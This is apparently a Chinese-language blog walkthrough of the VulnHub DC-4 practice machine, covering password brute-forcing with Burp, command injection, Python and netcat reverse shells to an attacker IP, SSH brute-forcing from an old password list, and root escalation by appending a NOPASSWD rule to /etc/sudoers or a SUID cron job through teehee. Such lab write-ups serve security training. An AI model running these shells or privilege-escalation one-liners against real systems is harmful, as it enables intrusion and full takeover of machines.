vulnhub DC-4 walkthrough (含非预期)

实验

先做一个简单的信息收集

这是一个 admin:x 的登录入口,尝试 burp 爆破密码,字典使用 rockyou.txt

顺便扫一下目录

跑的时候久一点,会卡

拿到账号秘密 admin:happy

选择想使用的功能,点击 run,可以显示命令输出结果

尝试抓包修改命令

ls+-ls -> id

注:www-data 用户是 Linux 系统中专门为 Web 服务设计的用户,权限受严格控制。

既然能够命令执行,尝试反弹 shell

经过尝试,python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.130",1314));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'nc -e /bin/bash 192.168.110.130 1314等等都可以用的。

说明:

  • UID = 33 (www-data):表示该进程的实际用户(Real User ID)是 www-data。这意味着该进程属于 www-data 用户。
  • GID = 33 (www-data):表示该进程的实际组(Real Group ID)是 www-data 组。
  • EUID = 0 (root):表示该进程的有效用户(Effective User ID)是 root。有效用户 ID 决定了该进程在运行时实际拥有的权限。EUID 为 0 表示该进程具有 root 用户的权限。
  • Groups = 33 (www-data):表示该进程的所属组是 www-data。

    这是一个复现过程,结果发现这么个非预期解答。可能与python反弹 shell 的操作有关。现在来讲一下正常解。
    使用 nc -e /bin/bash 192.168.110.130 1314 反弹 shell

    只有 jim 文件里有东西,仔细查看

    jim 文件下的 old-passwords.bak 存储着久密码集,尝试爆破一些他的 ssh 账号。


    拿到 jim:jibril04

    提示有一封邮件,全局搜索 mail
    find / -d -name '*mail*' 2>/dev/null


    拿到另一组账号密码 Charles:^xHhA&hvim0y

    可特权使用 teehee
    查看使用帮助

    法一
    向 /etc/passwd 添加特权用户 或者 修改 /etc/sudoers
    echo 'ALL ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
    修改 /etc/sudoers 文件,以允许所有用户无需密码即可执行所有命令

说明

sudo 是"superuser do"的缩写,它允许授权用户以超级用户(root)或其他用户的身份运行命令。

使用 sudo 时,系统会要求输入当前用户的密码(而不是 root 的密码),前提是该用户已经被授权使用 sudo(通常在 /etc/sudoers 文件中配置)。

su 是"switch user"的缩写,用于切换到另一个用户的身份。默认情况下,不带任何参数的 su 命令会切换到 root 用户。

使用 su 时,系统会要求输入目标用户的密码(例如,切换到 root 时需要输入 root 的密码)。

sudo su 的作用

切换到 root 用户:

sudo su 的组合命令允许当前用户(必须是 sudo 授权用户)以 root 用户的身份打开一个新的终端会话。

这个命令的执行过程如下:

sudo 以超级用户权限运行 su 命令。

su 命令切换到 root 用户,并打开一个新的 root 终端会话。

不需要输入 root 密码:

如果你直接使用 su 命令切换到 root 用户,系统会要求输入 root 的密码。但使用 sudo su 时,系统会要求输入当前用户的密码(前提是该用户已被授权使用 sudo),而不需要输入 root 的密码。

法二:修改计划任务
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
/bin/sh

说明

计划任务格式

分钟 小时 日期 月份 星期 user command

上面命令代表 root 每分钟执行一次 chmod 4777 /bin/sh

4 代表 suid 位,表示以所有者权限执行,而 7 代表 读写执行(r,w,x)所有权限

总结

  • 扫描主机 ip,端口和服务版本信息。
  • burp 爆破 admin 密码并成功登录。
  • 利用网页命令执行功能抓包修改命令反弹 shell 成功。
  • 利用 jim 旧密码集爆破 jim ssh 密码,成功登录。
  • 根据提示查看邮件,成功切换到 charles
  • 利用 charles 特权命令 teehee 修改计划任务或修改 sudoers 提权成功。
相关推荐
涛ing3 小时前
【5. C++ 变量作用域及其深入探讨】
java·linux·c语言·开发语言·c++·ubuntu·vim
大秦王多鱼4 小时前
Kafka ACL(访问控制列表)介绍
运维·分布式·安全·kafka·apache
蓝染k9z6 小时前
在Ubuntu上使用Docker部署DeepSeek
linux·人工智能·ubuntu·docker·deepseek+
5xidixi6 小时前
HTTP(1)
网络·网络协议·http
苏-言7 小时前
Linux环境下的Java项目部署技巧:安装 Mysql
linux·运维·mysql
代码对我眨眼睛7 小时前
重回C语言之老兵重装上阵(十三)C 预处理器
linux·c语言
张文君7 小时前
ubuntu直接运行arm环境qemu-arm-static
linux·arm开发·ubuntu
lljss20208 小时前
在 WSL2 中重启 Ubuntu 实例
linux·运维·ubuntu
engchina8 小时前
在 Ubuntu 上安装 Node.js 23.x
linux·ubuntu·node.js